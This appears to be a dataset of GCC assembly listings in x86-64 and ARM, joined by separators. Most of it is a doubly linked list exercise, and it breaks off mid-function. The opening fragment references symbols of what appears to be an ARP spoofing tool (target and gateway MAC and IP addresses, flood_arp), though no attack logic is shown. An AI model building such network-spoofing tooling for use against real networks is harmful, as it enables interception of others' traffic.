eors r1, r2, r1
mov r2, #0
beq .L72
bl __stack_chk_fail
.L72:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L74:
.align 2
.L73:
.word .LC32
.word .LC23
.word .LC24
.word gateway_mac
.word target_mac
.word .LC25
.word gateway_ip
.word .LC26
.word target_ip
.word .LC27
.word stderr
.word .LC28
.word .LC29
.word .LC30
.word flood_arp
.word port_filter
.word .LC31
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "651792.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "651792.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "985230.c"
.intel_syntax noprefix
.text
.globl init
.type init, @function
init:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR [rax], 0
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], 0
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size init, .-init
.globl clean
.type clean, @function
clean:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
jmp .L3
.L4:
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call free@PLT
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
.L3:
cmp QWORD PTR -8[rbp], 0
jne .L4
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR 8[rax], 0
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size clean, .-clean
.globl is_empty
.type is_empty, @function
is_empty:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
test rax, rax
jne .L6
mov eax, 1
jmp .L7
.L6:
mov eax, 0
.L7:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size is_empty, .-is_empty
.globl find
.type find, @function
find:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 0
je .L9
jmp .L10
.L11:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -8[rbp], rax
.L10:
cmp QWORD PTR -8[rbp], 0
je .L9
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
cmp DWORD PTR -28[rbp], eax
jne .L11
.L9:
mov rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size find, .-find
.globl push_back
.type push_back, @function
push_back:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
cmp QWORD PTR -24[rbp], 0
je .L14
mov edi, 24
call malloc@PLT
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR -28[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], 0
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
test rax, rax
jne .L15
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR [rax], rdx
jmp .L16
.L15:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], rdx
.L16:
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], rdx
mov eax, 0
jmp .L17
.L14:
mov eax, 1
.L17:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size push_back, .-push_back
.globl push_front
.type push_front, @function
push_front:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
cmp QWORD PTR -24[rbp], 0
je .L19
mov edi, 24
call malloc@PLT
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR -28[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], 0
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR [rax]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], rdx
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR [rax], rdx
mov eax, 0
jmp .L20
.L19:
mov eax, 1
.L20:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size push_front, .-push_front
.globl insert_after
.type insert_after, @function
insert_after:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
cmp QWORD PTR -32[rbp], 0
je .L22
mov edi, 24
call malloc@PLT
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR -36[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -32[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -32[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
jne .L23
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], rdx
jmp .L24
.L23:
mov rax, QWORD PTR -32[rbp]
mov rax, QWORD PTR 8[rax]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
.L24:
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], rdx
mov eax, 0
jmp .L25
.L22:
mov eax, 1
.L25:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size insert_after, .-insert_after
.globl insert_before
.type insert_before, @function
insert_before:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
cmp QWORD PTR -32[rbp], 0
je .L27
mov edi, 24
call malloc@PLT
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR -36[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR 16[rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -32[rbp]
mov QWORD PTR 8[rax], rdx
mov rax, QWORD PTR -32[rbp]
mov rax, QWORD PTR 16[rax]
test rax, rax
jne .L28
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR [rax], rdx
jmp .L29
.L28:
mov rax, QWORD PTR -32[rbp]
mov rax, QWORD PTR 16[rax]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], rdx
.L29:
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov eax, 0
jmp .L30
.L27:
mov eax, 1
.L30:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size insert_before, .-insert_before
.globl remove_first
.type remove_first, @function
remove_first:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
jmp .L32
.L39:
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
cmp DWORD PTR -28[rbp], eax
jne .L33
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
jne .L34
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 16[rax]
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR 8[rax], rdx
jmp .L35
.L34:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdx, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 16[rdx]
mov QWORD PTR 16[rax], rdx
.L35:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
test rax, rax
jne .L36
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR [rax], rdx
jmp .L37
.L36:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov rdx, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 8[rdx]
mov QWORD PTR 8[rax], rdx
.L37:
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call free@PLT
mov eax, 0
jmp .L38
.L33:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -8[rbp], rax
.L32:
cmp QWORD PTR -8[rbp], 0
jne .L39
mov eax, 1
.L38:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size remove_first, .-remove_first
.globl remove_last
.type remove_last, @function
remove_last:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -8[rbp], rax
jmp .L41
.L48:
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
cmp DWORD PTR -28[rbp], eax
jne .L42
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
test rax, rax
jne .L43
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR [rax], rdx
jmp .L44
.L43:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov rdx, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 8[rdx]
mov QWORD PTR 8[rax], rdx
.L44:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
jne .L45
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 16[rax]
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR 8[rax], rdx
jmp .L46
.L45:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdx, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 16[rdx]
mov QWORD PTR 16[rax], rdx
.L46:
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call free@PLT
mov eax, 0
jmp .L47
.L42:
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -8[rbp], rax
.L41:
cmp QWORD PTR -8[rbp], 0
jne .L48
mov eax, 1
.L47:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size remove_last, .-remove_last
.section .rodata
.LC0:
.string "%i "
.text
.globl print
.type print, @function
print:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
jmp .L50
.L51:
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -8[rbp], rax
.L50:
cmp QWORD PTR -8[rbp], 0
jne .L51
mov edi, 10
call putchar@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size print, .-print
.globl print_invers
.type print_invers, @function
print_invers:
.LFB17:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -8[rbp], rax
jmp .L53
.L54:
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -8[rbp], rax
.L53:
cmp QWORD PTR -8[rbp], 0
jne .L54
mov edi, 10
call putchar@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE17:
.size print_invers, .-print_invers
.section .rodata
.LC1:
.string "%i"
.LC2:
.string "%i %i"
.text
.globl main
.type main, @function
main:
.LFB18:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -112[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rax, -32[rbp]
mov rdi, rax
call init
mov DWORD PTR -60[rbp], 0
jmp .L56
.L57:
lea rax, -108[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -108[rbp]
lea rax, -32[rbp]
mov esi, edx
mov rdi, rax
call push_back
add DWORD PTR -60[rbp], 1
.L56:
mov eax, DWORD PTR -112[rbp]
cmp DWORD PTR -60[rbp], eax
jl .L57
lea rax, -32[rbp]
mov rdi, rax
call print
lea rax, -104[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rax, -100[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rax, -96[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -104[rbp]
lea rax, -32[rbp]
mov esi, edx
mov rdi, rax
call find
test rax, rax
setne al
movzx eax, al
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edx, DWORD PTR -100[rbp]
lea rax, -32[rbp]
mov esi, edx
mov rdi, rax
call find
test rax, rax
setne al
movzx eax, al
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edx, DWORD PTR -96[rbp]
lea rax, -32[rbp]
mov esi, edx
mov rdi, rax
call find
test rax, rax
setne al
movzx eax, al
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -92[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -92[rbp]
lea rax, -32[rbp]
mov esi, edx
mov rdi, rax
call push_back
lea rax, -32[rbp]
mov rdi, rax
call print_invers
lea rax, -88[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -88[rbp]
lea rax, -32[rbp]
mov esi, edx
mov rdi, rax
call push_front
lea rax, -32[rbp]
mov rdi, rax
call print
lea rdx, -80[rbp]
lea rax, -84[rbp]
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov rax, QWORD PTR -32[rbp]
mov QWORD PTR -48[rbp], rax
mov DWORD PTR -56[rbp], 1
jmp .L58
.L59:
mov rax, QWORD PTR -48[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -48[rbp], rax
add DWORD PTR -56[rbp], 1
.L58:
mov eax, DWORD PTR -84[rbp]
cmp DWORD PTR -56[rbp], eax
jl .L59
mov edx, DWORD PTR -80[rbp]
mov rcx, QWORD PTR -48[rbp]
lea rax, -32[rbp]
mov rsi, rcx
mov rdi, rax
call insert_after
lea rax, -32[rbp]
mov rdi, rax
call print_invers
lea rdx, -72[rbp]
lea rax, -76[rbp]
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov rax, QWORD PTR -32[rbp]
mov QWORD PTR -40[rbp], rax
mov DWORD PTR -52[rbp], 1
jmp .L60
.L61:
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -40[rbp], rax
add DWORD PTR -52[rbp], 1
.L60:
mov eax, DWORD PTR -76[rbp]
cmp DWORD PTR -52[rbp], eax
jl .L61
mov edx, DWORD PTR -72[rbp]
mov rcx, QWORD PTR -40[rbp]
lea rax, -32[rbp]
mov rsi, rcx
mov rdi, rax
call insert_before
lea rax, -32[rbp]
mov rdi, rax
call print
lea rax, -68[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -68[rbp]
lea rax, -32[rbp]
mov esi, edx
mov rdi, rax
call remove_first
lea rax, -32[rbp]
mov rdi, rax
call print_invers
lea rax, -64[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -64[rbp]
lea rax, -32[rbp]
mov esi, edx
mov rdi, rax
call remove_last
lea rax, -32[rbp]
mov rdi, rax
call print
lea rax, -32[rbp]
mov rdi, rax
call clean
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L63
call __stack_chk_fail@PLT
.L63:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE18:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "985230.c"
.text
.align 2
.global init
.syntax unified
.arm
.fpu softvfp
.type init, %function
init:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3, #4]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size init, .-init
.align 2
.global clean
.syntax unified
.arm
.fpu softvfp
.type clean, %function
clean:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
ldr r3, [r3]
str r3, [fp, #-8]
b .L3
.L4:
ldr r3, [fp, #-8]
ldr r2, [r3, #4]
ldr r3, [fp, #-16]
str r2, [r3]
ldr r0, [fp, #-8]
bl free
ldr r3, [fp, #-16]
ldr r3, [r3]
str r3, [fp, #-8]
.L3:
ldr r3, [fp, #-8]
cmp r3, #0
bne .L4
ldr r3, [fp, #-16]
mov r2, #0
str r2, [r3, #4]
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size clean, .-clean
.align 2
.global is_empty
.syntax unified
.arm
.fpu softvfp
.type is_empty, %function
is_empty:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
ldr r3, [r3]
cmp r3, #0
bne .L6
mov r3, #1
b .L7
.L6:
mov r3, #0
.L7:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size is_empty, .-is_empty
.align 2
.global find
.syntax unified
.arm
.fpu softvfp
.type find, %function
find:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
ldr r3, [r3]
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L9
b .L10
.L11:
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
str r3, [fp, #-8]
.L10:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L9
ldr r3, [fp, #-8]
ldr r3, [r3]
ldr r2, [fp, #-20]
cmp r2, r3
bne .L11
.L9:
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size find, .-find
.align 2
.global push_back
.syntax unified
.arm
.fpu softvfp
.type push_back, %function
push_back:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
cmp r3, #0
beq .L14
mov r0, #12
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-20]
str r2, [r3]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3, #4]
ldr r3, [fp, #-16]
ldr r2, [r3, #4]
ldr r3, [fp, #-8]
str r2, [r3, #8]
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
cmp r3, #0
bne .L15
ldr r3, [fp, #-16]
ldr r2, [fp, #-8]
str r2, [r3]
b .L16
.L15:
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
ldr r2, [fp, #-8]
str r2, [r3, #4]
.L16:
ldr r3, [fp, #-16]
ldr r2, [fp, #-8]
str r2, [r3, #4]
mov r3, #0
b .L17
.L14:
mov r3, #1
.L17:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size push_back, .-push_back
.align 2
.global push_front
.syntax unified
.arm
.fpu softvfp
.type push_front, %function
push_front:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
cmp r3, #0
beq .L19
mov r0, #12
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-20]
str r2, [r3]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3, #8]
ldr r3, [fp, #-16]
ldr r3, [r3]
ldr r2, [fp, #-8]
str r2, [r3, #8]
ldr r3, [fp, #-16]
ldr r2, [r3]
ldr r3, [fp, #-8]
str r2, [r3, #4]
ldr r3, [fp, #-16]
ldr r2, [fp, #-8]
str r2, [r3]
mov r3, #0
b .L20
.L19:
mov r3, #1
.L20:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size push_front, .-push_front
.align 2
.global insert_after
.syntax unified
.arm
.fpu softvfp
.type insert_after, %function
insert_after:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-20]
cmp r3, #0
beq .L22
mov r0, #12
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-24]
str r2, [r3]
ldr r3, [fp, #-20]
ldr r2, [r3, #4]
ldr r3, [fp, #-8]
str r2, [r3, #4]
ldr r3, [fp, #-8]
ldr r2, [fp, #-20]
str r2, [r3, #8]
ldr r3, [fp, #-20]
ldr r3, [r3, #4]
cmp r3, #0
bne .L23
ldr r3, [fp, #-16]
ldr r2, [fp, #-8]
str r2, [r3, #4]
b .L24
.L23:
ldr r3, [fp, #-20]
ldr r3, [r3, #4]
ldr r2, [fp, #-8]
str r2, [r3, #8]
.L24:
ldr r3, [fp, #-20]
ldr r2, [fp, #-8]
str r2, [r3, #4]
mov r3, #0
b .L25
.L22:
mov r3, #1
.L25:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size insert_after, .-insert_after
.align 2
.global insert_before
.syntax unified
.arm
.fpu softvfp
.type insert_before, %function
insert_before:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-20]
cmp r3, #0
beq .L27
mov r0, #12
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-24]
str r2, [r3]
ldr r3, [fp, #-20]
ldr r2, [r3, #8]
ldr r3, [fp, #-8]
str r2, [r3, #8]
ldr r3, [fp, #-8]
ldr r2, [fp, #-20]
str r2, [r3, #4]
ldr r3, [fp, #-20]
ldr r3, [r3, #8]
cmp r3, #0
bne .L28
ldr r3, [fp, #-16]
ldr r2, [fp, #-8]
str r2, [r3]
b .L29
.L28:
ldr r3, [fp, #-20]
ldr r3, [r3, #8]
ldr r2, [fp, #-8]
str r2, [r3, #4]
.L29:
ldr r3, [fp, #-20]
ldr r2, [fp, #-8]
str r2, [r3, #8]
mov r3, #0
b .L30
.L27:
mov r3, #1
.L30:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size insert_before, .-insert_before
.align 2
.global remove_first
.syntax unified
.arm
.fpu softvfp
.type remove_first, %function
remove_first:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
ldr r3, [r3]
str r3, [fp, #-8]
b .L32
.L39:
ldr r3, [fp, #-8]
ldr r3, [r3]
ldr r2, [fp, #-20]
cmp r2, r3
bne .L33
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
cmp r3, #0
bne .L34
ldr r3, [fp, #-8]
ldr r2, [r3, #8]
ldr r3, [fp, #-16]
str r2, [r3, #4]
b .L35
.L34:
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
ldr r2, [fp, #-8]
ldr r2, [r2, #8]
str r2, [r3, #8]
.L35:
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
cmp r3, #0
bne .L36
ldr r3, [fp, #-8]
ldr r2, [r3, #4]
